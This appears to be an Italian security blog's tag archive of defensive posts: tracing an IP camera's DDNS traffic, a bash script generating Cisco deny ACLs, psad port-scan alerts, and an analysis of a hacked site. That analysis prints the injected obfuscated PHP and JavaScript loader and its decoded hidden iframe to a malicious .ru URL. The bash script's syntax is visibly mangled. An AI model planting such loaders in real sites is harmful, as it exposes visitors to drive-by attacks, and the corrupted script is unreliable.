Archivi tag: whois

WI-FI IP camera (made in China) ed il traffico di rete “anomalo”

Che io sia paranoico è risaputo, soprattutto se mi ritrovo ad aver a che fare con hardware made in China. Diciamo anche che nella mia rete tendo a tenere sotto controllo tutto il traffico, sia in entrata che in uscita.

Per farla breve, ho installato questa IP camera WI-FI ed ho iniziato a monitorare, mediante Iptables, tutto il traffico in uscita. Ecco uno stralcio del file di log:

Dec 10 14:04:25 nightbox kernel: [3094903.376462] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=41186 DF PROTO=TCP SPT=3755 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:39 nightbox kernel: [3095278.163044] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20423 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:42 nightbox kernel: [3095281.160190] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20424 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:16:40 nightbox kernel: [3095639.086794] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26618 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:16:43 nightbox kernel: [3095642.083772] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26619 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

In soldoni, ogni 6 minuti (per un certo lasso di tempo), il giocattolino in questione provava a contattare l’IP 58.61.155.158 sulla porta 80. Per far cosa, poi?

Per capirci qualcosa in più ho deciso di effettuare una query DNS inversa mediante il comando host:

nightfly@nightbox:~$ host 58.61.155.158
Host 158.155.61.58.in-addr.arpa. not found: 3(NXDOMAIN)

Uhm, not found, brutto segno. Quindi ho eseguito un whois:

nightfly@nightbox:~$ whois 58.61.155.158
% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        58.61.155.152 - 58.61.155.167
netname:        shenzhenshirongdaxinxijishuyoux
descr:          shenzhenshilonggangqubujizhenbaolinglonggangdianxinfenjuIDCjifang¡£
country:        CN
admin-c:        SZ-AP
tech-c:         IC83-AP
mnt-by:         MAINT-CHINANET-GD
changed:        gdtel_ipreg@163.com 20100108
status:         Allocated non-portable
source:         APNIC

person:         SHENZHEN WANJIAN
address:        Communication Bldg, No.48 Yi Tian Rd., Futian Shenzhen, China
country:        CN
phone:          +86-755-28812000
e-mail:         ipadm@gddc.com.cn
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse@gddc.com.cn
nic-hdl:        SZ-AP
mnt-by:         MAINT-CHINANET-GD
changed:        CHENYIQ@GSTA.COM 20080328
source:         APNIC

person:         IPMASTER CHINANET-GD
nic-hdl:        IC83-AP
e-mail:         ipadm@189.cn
address:        NO.1,RO.DONGYUANHENG,YUEXIUNAN,GUANGZHOU
phone:          +86-20-83877223
fax-no:         +86-20-83877223
country:        CN
changed:        ipadm@189.cn 20110418
mnt-by:         MAINT-CHINANET-GD
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse_gdnoc@189.cn
abuse-mailbox:  abuse_gdnoc@189.cn
source:         APNIC

Ok, in realtà stava contattando un server cinese. Un portscan stealth mi ha restituito questo output:

nightfly@nightbox:/etc/apache2$ sudo nmap -sS 58.61.155.158

Starting Nmap 5.00 ( http://nmap.org ) at 2012-12-09 20:48 CET
Interesting ports on 58.61.155.158:
Not shown: 992 filtered ports
PORT     STATE  SERVICE
21/tcp   closed ftp
25/tcp   closed smtp
53/tcp   open   domain
80/tcp   open   http
110/tcp  closed pop3
1433/tcp closed ms-sql-s
5631/tcp open   pcanywheredata
8888/tcp open   sun-answerbook

Check veloce sulla porta 80, su cui gira una pagina in ASP (ecco lo screenshot):

ipcamera.png

Quale account non esiste? La pagina di configurazione dell’aggeggio non ha nessun form di registrazione, quindi di cosa stiamo parlando?

Altro check, stavolta sulla 8888:

ipcamera2.png

Porta differente, ma identico risultato.

I fantastici costruttori cinesi hanno pensato bene di mettere in ascolto quel server su due differenti porte, poichè spesso e volentieri la porta 80 in uscita è filtrata (proxy?).

Per andare ancora più a fondo alla questione ho deciso di usare uno sniffer, ovvero tcpdump:

22:30:16.159916 IP google-public-dns-a.google.com.domain > guest1.mialan.org.3076: 797 1/0/0 A 58.61.155.158 (47)
E..K; ../.5m....
....5...7Z..............www.nwsvr.com..............'..:=..
22:30:16.161941 IP 10.1.x.x.3718 > 58.61.155.158.www: Flags [S], seq 1520784463, win 5840, options [mss 1460,sackOK,TS val 464$
E..<..@.@...
...:=.....PZ.TO...................
.F..........

Non sembrava che venissero inviate informazioni sensibili (aka password di account email ed FTP), ma piuttosto sembrava del semplice polling.

Qualcosa di utile tcpdump però l’ha fatto, ovvero mi ha rilevato l’hostname dell’IP 58.61.155.158, ovvero www.nwsvr.com, il cui whois è il seguente:

Registrant:
  Organization   : shenzhenshi hui yan shi xun dian zi you xian gong si
  Name           : LuoYingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenshi
  Province/State : guangdongsheng
  Country        : china
  Postal Code    : 518000

Administrative Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86-755-26988288
  Fax            : 86-755-26988233
  Email          : robbi_luo@163.com

Technical Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Billing Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Alla fine ho scoperto che si trattava di un servizio di DDNS. Ho spulciato le configurazioni dell’IP camera e mi sono ritrovato questo settaggio abilitato (di default):

 

ipcamera3.png

Ovvero, l’aggeggino non faceva altro che tentare di comunicare al server (cinese) l’indirizzo IP pubblico della mia WAN. E con la privacy come la mettiamo?

Ho tolto la spunta ed il traffico “anomalo” ha cessato di esistere.

Alla prossima.

ddosinfo: script per la creazione automatica di ACL Cisco contro gli attacchi DDoS

In questo post vi ho mostrato un piccolo scrip per l’individuazione della nazionalità relativa agli IP sorgenti di un attacco DDoS. Avevo già preannunciato alcune modifiche, ovvero la generazione automatica delle ACL Cisco e l’aggiunta di un menù interattivo. Bhè, così è stato.

acl, cisco, acl standard, acl estese, acl nominali, bash, ddos, whois, IP, netblock

Per prima cosa installiamo il tool ipcalc, che ci servirà per calcolare le wildmask da impostare sulle ACL:

nightfly@nightbox:~$ sudo apt-get install ipcalc

Successivamente creiamo un file testuale vuoto su cui incolleremo il contenuto dello scrip e rendiamolo eseguibile:

nightfly@nightbox:~$ touch ddosinfo

nightfly@nightbox:~$ chmod +x ddosinfo

Non ci resta che copiarci dentro le seguenti direttive:

#!/bin/bash
touch ipinfo
touch target
touch parsed
touch acl
touch target_pari
touch target_dispari
touch target_parsed

while read line
do
        whois -F $line >> ipinfo
done < tlog

while read line
do
    locin=`echo $line | grep "*in"`
    loccy=`echo $line | grep "*cy"`
    if [[ -n "$locin" || -n "$loccy" --; then
        echo "$locin$loccy"  >> target
    fi
done < ipinfo

cat target | awk 'NR%2==1' >> target_dispari
cat target | awk 'NR%2==0' >> target_pari

paste target_dispari target_pari | grep -v "IT" >> target_parsed

while read line
do
        block=`echo $line | grep "*in" | sed s/*in://g`
    if [ -n "$block" ]; then
               wild1=`ipcalc $block | awk '{ print $1 }' | sed s/deaggregate//g`
        wild2=`ipcalc -b $wild1 | awk 'BEGIN { FS = "Wildcard: " } ; { print $2 }' | tr 'n' ' ' | sed 's/^[ t]*//;s/[ t]*$//;'`
        wild3=`ipcalc -b $wild1 | awk 'BEGIN { FS = "Address: " } ; { print $2 }' | sed 's/^[ t]*//;s/[ t]*$//'`
        echo "$wild3 $wild2" >> parsed
    fi
done < target_parsed

echo "Seleziona il tipo di ACL:"

echo "1 - standard"
echo "2 - estesa"
echo "3 - nominale"

read scelta;

if [ $scelta == 1 ]; then
    while true;
    do
    echo "Inserisci l'identificativo dell'acl (1-99):"
   
    read numero;
   
    if [[ $numero =~ ^([1-9]|[1-9][0-9])$ --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

if [ $scelta == 2 ]; then
    while true;
    do

    echo "Inserisci l'identificativo dell'acl (100-199 oppure 2000-2699):"
    read numero;

    if [[ $numero =~ ^(1[0-9][0-9]|2[0-6][0-9][0-9])$ --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

if [ $scelta == 3 ]; then

    while true;
    do
    echo "Inserisci il nome dell'acl:"
    read nome;
    if [[ $nome =~ [[:alpha:-- --;then
        while true;
        do
            echo "Scegli il protocollo (ip-tcp-udp):"
            read protocollo;
            if [[ $protocollo =~ ^(ip|tcp|udp)$ --;then
                while true;
                do
                    echo "Vuoi attivare il logging? (S/N):"
                        read logging;
                    if [ $logging == "S" ];then
                        while read line
                        do
                            network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                            wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                            echo "access-list $numero deny $protocollo $network $wildcard any log" >> acl
                        done < parsed
                        break
                    else
                        if [ $logging == "N" ];then
                            while read line
                                        do
                                                network=`echo $line | awk 'BEGIN { FS = " " } ; { print $1 }'`
                                wildcard=`echo $line | awk 'BEGIN { FS = " " } ; { print $2 }'`
                                                echo "access-list $numero deny $protocollo $network $wildcard any" >> acl
                                        done < parsed
                        break
                        fi
                    fi
                done
            fi
            break
        done
    break
    fi
    done
fi

rm ipinfo
rm parsed
rm target_*

exit 0;

Tale scrip consente di scegliere tra 3 tipoligie di ACL (tutte per il protocollo IP), ovvero:

1) standard;

2) estese;

3) nominali.

Le ACL generate verranno salvate all’interno del file acl, mentre gli IP sorgenti da analizzare vanno posizionati nel file tlog. Non vi rimane dunque che copiare il contenuto del file acl ed incollarlo nel firewall/router, sotto il menù di configurazione (config#) e successivamente associare l’access control list appena creata all’interfaccia target.

Avrete certamente notato che il codice non è dei più semplici per via del parsing massiccio che si è reso necessario. Tuttavia non scoraggiatevi, se avete delle domande (ed individuate eventuali falle/miglioramenti) non esitate a contattarmi.

A presto.

Le crew di smanettoni dell’est

Per quanto riguarda i portscan, psad è veramente una manna dal cielo. Tale applicativo non fa altro che rimanere in “ascolto” sul server in attesa di intercettare eventuali pacchetti inviati ad un range di porte più o meno esteso.

crew,portscan,udp,well known ports,nmap -su,whois,est europa,pbx

Questa mattina, grazie al suddetto tool, ho ricevuto una caterva di email del tipo:

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:56:55 2012 =-=-=-=-=-=-=-=-=-=-=-=

 Danger level: [2] (out of 5)

 Scanned UDP ports: [17565: 1 packets, Nmap: -sU]
 iptables chain: INPUT (prefix "Generic log entry:"), 1 packets

 Source: 188.237.169.123
 DNS: host-static-188-237-169-123.moldtelecom.md

 Destination: 10.*.*.*
 DNS: [No reverse dns info available]

 Overall scan start: Mon Aug 20 08:59:05 2012
 Total email alerts: 9
 Complete UDP range: [1024-17565]
 Syslog hostname: *

 Global stats: chain: interface: TCP: UDP: ICMP:
 INPUT eth1 0 19 0

[+] Whois Information:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '188.237.168.0 - 188.237.175.255'

inetnum: 188.237.168.0 - 188.237.175.255
netname: MOLDTELECOM-NET
descr: JSC "Moldtelecom" S.A.
descr: Chisinau, Moldova
country: MD
admin-c: MLA32-RIPE
tech-c: MLA32-RIPE
status: ASSIGNED PA
remarks: INFRA-AW
remarks: MaxFiber Users, IPMPLS Moldova
mnt-by: MOLDTELECOM-MNT
source: RIPE # Filtered

role: Moldtelecom LIR Adminstrators
remarks:
address: JSC "Moldtelecom" S.A.
address: 10, Stefan cel Mare ave.
address: Chisinau, Moldova
address: MD-2001
phone: +373 22570565
fax-no: +373 22542601
remarks:
admin-c: VSM13-RIPE
tech-c: NM2546-RIPE
nic-hdl: MLA32-RIPE
abuse-mailbox: cert.mtc@moldtelecom.md
remarks:
mnt-by: MOLDTELECOM-MNT
source: RIPE # Filtered

% Information related to '188.237.128.0/18AS8926'

route: 188.237.128.0/18
descr: JSC "Moldtelecom" S.A.
descr: 10, Stefan cel Mare ave.,
descr: MD-2001, Chisinau, Moldova
origin: AS8926
mnt-by: MOLDTELECOM-MNT
source: RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.19.5 (WHOIS2)

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:56:55 2012 =-=-=-=-=-=-=-=-=-=-=-=

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:59:31 2012 =-=-=-=-=-=-=-=-=-=-=-=

 Danger level: [2] (out of 5)

 Scanned UDP ports: [17565: 1 packets, Nmap: -sU]
 iptables chain: INPUT (prefix "Generic log entry:"), 1 packets

 Source: 176.102.218.106
 DNS: [No reverse dns info available]

 Destination: 10.*.*.*
 DNS: [No reverse dns info available]

 Overall scan start: Mon Aug 20 10:03:03 2012
 Total email alerts: 15
 Complete UDP range: [1024-17565]
 Syslog hostname: *

 Global stats: chain: interface: TCP: UDP: ICMP:
 INPUT eth1 0 32 0

[+] Whois Information:
#
# Query terms are ambiguous. The query is assumed to be:
# "n 176.102.218.106"
#
# Use "?" to get help.
#

#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=176.102.218.106?showDetails=true&showARIN=false&ext=netref2
#

NetRange: 176.0.0.0 - 176.255.255.255
CIDR: 176.0.0.0/8
OriginAS:
NetName: RIPE-176
NetHandle: NET-176-0-0-0-0
Parent:
NetType: Allocated to RIPE NCC
Comment: These addresses have been further assigned to users in
Comment: the RIPE NCC region. Contact information can be found in
Comment: the RIPE database at http://www.ripe.net/whois
RegDate: 1993-05-01
Updated: 2010-05-18
Ref: http://whois.arin.net/rest/net/NET-176-0-0-0-0

OrgName: RIPE Network Coordination Centre
OrgId: RIPE
Address: P.O. Box 10096
City: Amsterdam
StateProv:
PostalCode: 1001EB
Country: NL
RegDate:
Updated: 2011-09-24
Ref: http://whois.arin.net/rest/org/RIPE

ReferralServer: whois://whois.ripe.net:43

OrgAbuseHandle: RNO29-ARIN
OrgAbuseName: RIPE NCC Operations
OrgAbusePhone: +31 20 535 4444
OrgAbuseEmail: hostmaster@ripe.net
OrgAbuseRef: http://whois.arin.net/rest/poc/RNO29-ARIN

OrgTechHandle: RNO29-ARIN
OrgTechName: RIPE NCC Operations
OrgTechPhone: +31 20 535 4444
OrgTechEmail: hostmaster@ripe.net
OrgTechRef: http://whois.arin.net/rest/poc/RNO29-ARIN

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#

Found a referral to whois.ripe.net:43.

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '176.102.192.0 - 176.102.223.255'

inetnum: 176.102.192.0 - 176.102.223.255
netname: FOBOS-NET
descr: Center for Information Technologies "Fobos" Ltd.
country: UA
org: ORG-FOBO2-RIPE
admin-c: AP7848-RIPE
tech-c: AP7848-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-lower: RIPE-NCC-END-MNT
mnt-by: KUTS-MNT
mnt-routes: KUTS-MNT
mnt-domains: KUTS-MNT
source: RIPE # Filtered

organisation: ORG-FOBO2-RIPE
org-name: Center for Information Technologies "Fobos" Ltd.
org-type: OTHER
address: 39800, Ukraine, Poltavsky reg. Komsomolsk, Lenina str., 40
mnt-ref: vissado-mnt
mnt-by: vissado-mnt
source: RIPE # Filtered

person: Andrew Philonenko
address: Lenina str., 41/185
address: Poltava reg
address: 39800 Komsomolsk, Ukraine
phone: +380633131008
fax-no: +380534830742
nic-hdl: AP7848-RIPE
mnt-by: KUTS-MNT
source: RIPE # Filtered

% Information related to '176.102.192.0/19AS39822'

route: 176.102.192.0/19
descr: FobosRoute
origin: AS39822
mnt-by: KUTS-MNT
source: RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.19.5 (WHOIS3)

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:59:31 2012 =-=-=-=-=-=-=-=-=-=-=-=

e ancora:

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:45:10 2012 =-=-=-=-=-=-=-=-=-=-=-=

 Danger level: [2] (out of 5)

 Scanned UDP ports: [17565: 1 packets, Nmap: -sU]
 iptables chain: INPUT (prefix "Generic log entry:"), 1 packets

 Source: 178.238.218.219
 DNS: [No reverse dns info available]

 Destination: 10.*.*.*
 DNS: [No reverse dns info available]

 Overall scan start: Mon Aug 20 08:59:30 2012
 Total email alerts: 5
 Complete UDP range: [1024-17565]
 Syslog hostname: *

 Global stats: chain: interface: TCP: UDP: ICMP:
 INPUT eth1 0 15 0

[+] Whois Information:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '178.238.218.0 - 178.238.218.255'

inetnum: 178.238.218.0 - 178.238.218.255
netname: EUROLINK
descr: Eurolink Bt.
country: HU
admin-c: LB1142-RIPE
tech-c: LB1142-RIPE
status: ASSIGNED PA
mnt-by: DENINET-MNT
source: RIPE # Filtered

person: Lorant Budavari
address: WLA Interservices Ltd.
address: Margit u. 114.
address: Budapest, 1165
address: Hungary
phone: +36 1 9994294
fax-no: +36 1 4020274
nic-hdl: LB1142-RIPE
source: RIPE # Filtered
mnt-by: DENINET-MNT

% Information related to '178.238.218.0/24AS33947'

route: 178.238.218.0/24
descr: WLA Interservices Ltd.
mnt-by: WLA-NET-MNT
origin: AS33947
mnt-by: DENINET-MNT
source: RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.19.5 (WHOIS1)

=-=-=-=-=-=-=-=-=-=-=-= Mon Aug 20 11:45:10 2012 =-=-=-=-=-=-=-=-=-=-=-=

In soldoni, trattasi di 3 indirizzi IP dell’est Europa, ovvero:

1) 188.237.169.123 (Moldavo);
2) 176.102.218.106 (Ucraino);
3) 178.238.218.219 (Ungherese).

I suddetti portscan hanno come target il protocollo di trasporto UDP e le porte ad esso associate (non well-known, ovvero superiori alla 1023).

Il protocollo UDP viene utilizzato soprattutto nell’ambito del traffico audio/video e dell’instant messaging, poichè, non prevedendo meccanismi di controllo e ritrasmissione, consente elevate velocità di trasferimento.

Ma perchè prendere di mira proprio il suddetto protocollo? Bhè, suppongo per via del fatto che molti PBX VOIP software sono dei veri colabrodo… e che tali PBX usino proprio l’UDP per il trasporto.

La soluzione? 3 regolette da aggiungere alla chain INPUT di netfilter:

sudo iptables -A INPUT -i eth1 -s 188.237.169.123 -j DROP
sudo iptables -A INPUT -i eth1 -s 176.102.218.106 -j DROP
sudo iptables -A INPUT -i eth1 -s 178.238.218.219 -j DROP

Notate che ho parlato di crew, in quanto gli IP sorgenti dell’attacco non presentano servizi pubblicati all’esterno (a parte uno che è in ascolto sulla porta http/https, ma manca la index) e che si tratta molto probabilmente di semplici linee ADSL (un po’ come la nostra Alice). Infine, ad avallare la mia ipotesi vi è anche il fatto che non esistono nomi dominio associati agli IP in questione (a parte l’hostname ADSL).

In definitiva, mailare il loro ISP sarebbe completamente inutile, quindi non vi è (almeno per il momento) soluzione definitiva a questa piaga. Dunque lasciamo fare a psad il suo sporco lavoro ed interveniamo a tempo debito con qualche regola su netfilter.

A presto.

I soliti cracker russi…

E’ un lunedì sera. Sono a casa bello tranquillo quando ad un tratto mi arriva una telefonata inaspettata: il sito di un amico è stato defacciato. Ok, mi collego al sito e con mia enorme sorpresa mi accorgo della presenza del seguente codice PHP:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Si tratta molto banalmente di codice cifrato mediante due funzioni piuttosto blande, ovvero gzinflate e base64_decode.

Decifrandolo, ho ottenuto quanto segue:

<scrip type="text/javascrip"> try{1-prototype;}catch(bsdtwbd){q=412;} if(020==0x10){f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];}if(document)e=eval;w=f;s=[];r=String.fromCharCode;for(i=0;-i+279!=0;i+=1){j=i;if(e)s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));} if(q&&f&&012===10)e(s); </scrip>

che, a primo acchito, può sembrare una rogna, ma effettuando la giusta formattazione del codice, inserendo un document.write(s) nel giusto punto del sorgente e creando una pagina HTML ad hoc:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <scrip type="text/javascrip">
 try{1-prototype;}
 catch(bsdtwbd)
 {q=412;}
 if(020==0x10)
 {
 f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];
 }
 if(document)
 e=eval;
 w=f;
 s=[];
 r=String.fromCharCode;
 for(i=0;-i+279!=0;i+=1)
 {
 j=i;
 if(e)
 {
 s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));
 }
 }
 document.write(s);
 if(q&&f&&012===10)
 e(s);
 </scrip>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Untitled Document</title>
 </head>
 <body>
 </body>
 </html>

si ottiene:

function frmAdd() {
 var ifrm = document.createElement('iframe');
 ifrm.style.position='absolute';
 ifrm.style.top='-999em';
 ifrm.style.left='-999em';
 ifrm.src = "http://latokoz.ru/count2.php";
 ifrm.id = 'frmId';
 document.body.appendChild(ifrm); };
 onload = frmAdd;

Ebbene si, trattasi di un attacco XSS che inietta sul sito vittima del codice javascrip (opportunamente offuscato), la cui funzione è quella di creare un iframe che punta alla URL http://latokoz.ru/count2.php

Ecco alcune info sul dominio latokoz.ru (con annesso reverse lookup):

nightfly@nightbox:~$ whois latokoz.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        LATOKOZ.RU
nserver:       ns1.newrect.com.
nserver:       ns2.newrect.com.
nserver:       ns3.newrect.com.
nserver:       ns4.newrect.com.
nserver:       ns5.newrect.com.
nserver:       ns6.newrect.com.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGGI-REG-RIPN
admin-contact: http://www.webdrive.ru/webmail/
created:       2012.08.01
paid-till:     2013.08.01
free-date:     2013.09.01
source:        TCI

Last updated on 2012.08.06 22:56:31 MSK
nightfly@nightbox:~$ host latokoz.ru
 latokoz.ru has address 78.8.44.226

Vado di wget e provo a scaricare la suddetta pagina:

nightfly@nightbox:~$ wget http://latokoz.ru/count2.php

Il cui contenuto è, molto banalmente:

<!DOCTYPE HTML>
 <html>
 <head>
 <scrip type="text/javascrip">
 parent. = "http://edrefak.ru/";
 </scrip>
 </head>
 <body>
 </body>
 </html>

Come sempre, whois e reverse lookup sul dominio in questione:

nightfly@nightbox:~$ host edrefak.ru
edrefak.ru has address 46.161.45.107
nightfly@nightbox:~$ whois edrefak.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        EDREFAK.RU
nserver:       ns1.izdomik.ru.
nserver:       ns2.izdomik.ru.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     NAUNET-REG-RIPN
admin-contact: https://client.naunet.ru/c/whoiscontact
created:       2012.07.29
paid-till:     2013.07.29
free-date:     2013.08.29
source:        TCI

Last updated on 2012.08.06 23:06:37 MSK

Trattasi di un sito che commercializza un prodotto simil-Viagra (si, avete capito bene), in cui è presente il seguente codice js (dopo il footer):

<!-- HotLog -->
 <scrip type="text/javascrip" language="javascrip">
 hotlog_js="1.0"; hotlog_r=""+Math.random()+"&amp;s=2241559&amp;im=35&amp;r="+
 escape(document.referrer)+"&amp;pg="+escape(.href);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.1">
 hotlog_js="1.1"; hotlog_r+="&amp;j="+(navigator.javaEnabled()?"Y":"N");
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.2">
